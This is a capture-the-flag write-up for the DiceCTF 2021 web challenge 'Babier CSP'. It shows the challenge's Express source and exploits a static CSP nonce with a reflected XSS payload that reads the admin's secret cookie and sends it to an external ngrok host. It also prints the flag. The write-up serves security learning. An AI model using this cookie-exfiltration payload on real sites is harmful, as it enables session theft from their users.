Babier CSP
- CTF:DiceCTF 2021
- Category: web
- Writeups
Given
Baby CSP was too hard for us, try Babier CSP.
babier-csp.dicec.tf
Admin Bot (link)
The admin will set a cookie secret equal to config.secret in index.js.
Admin bot to get the admin to load the link provided.
index.js:
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
Analysis
Name field seems to allow reflected XSS:
The CSP allows script-src with a nonce, but that nonce is static, making it useless. As we can just grab the nonce and add it to our own script tag.
The description mentioned that the admin has a secret cookie with the value of which the secret page is hosted. So we need to leak that information somehow.
Hosting a server on and trying to fetch it results in an connect-src
CSP issue. But remember that script-src
is ok with a nonce.
So if we can get the secret cookie added to the src of the script tag we would make a request to ourselves with the secret cookie in the path.
Remember that setting location in a script redirects the browser and it seems the admin bot follows redirects.
Implementation
First we need to write the code that gets the secret
cookie:
cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];
Easy enough, then we need to make a redirect to the same page with the concatinated value:
location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="https://e497c588b08b.ngrok.io/'.concat(cookie).concat('" />');
Putting it all together
<script nonce=LRGWAXOY98Es0zz0QOVmag==>cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="https://e497c588b08b.ngrok.io/'.concat(cookie).concat('" />');</script>
Final payload:
https://babier-csp.dicec.tf/?name=<script nonce=LRGWAXOY98Es0zz0QOVmag==>cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="https://e497c588b08b.ngrok.io/'.concat(cookie).concat('" />');</script>
Accessing /4b36b1b8e47f761263796b1defd80745
gives us:
Hi! You should view source!
<!--
I'm glad you made it here, there's a flag!
<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>
If you want more CSP, you should try Adult CSP.
-->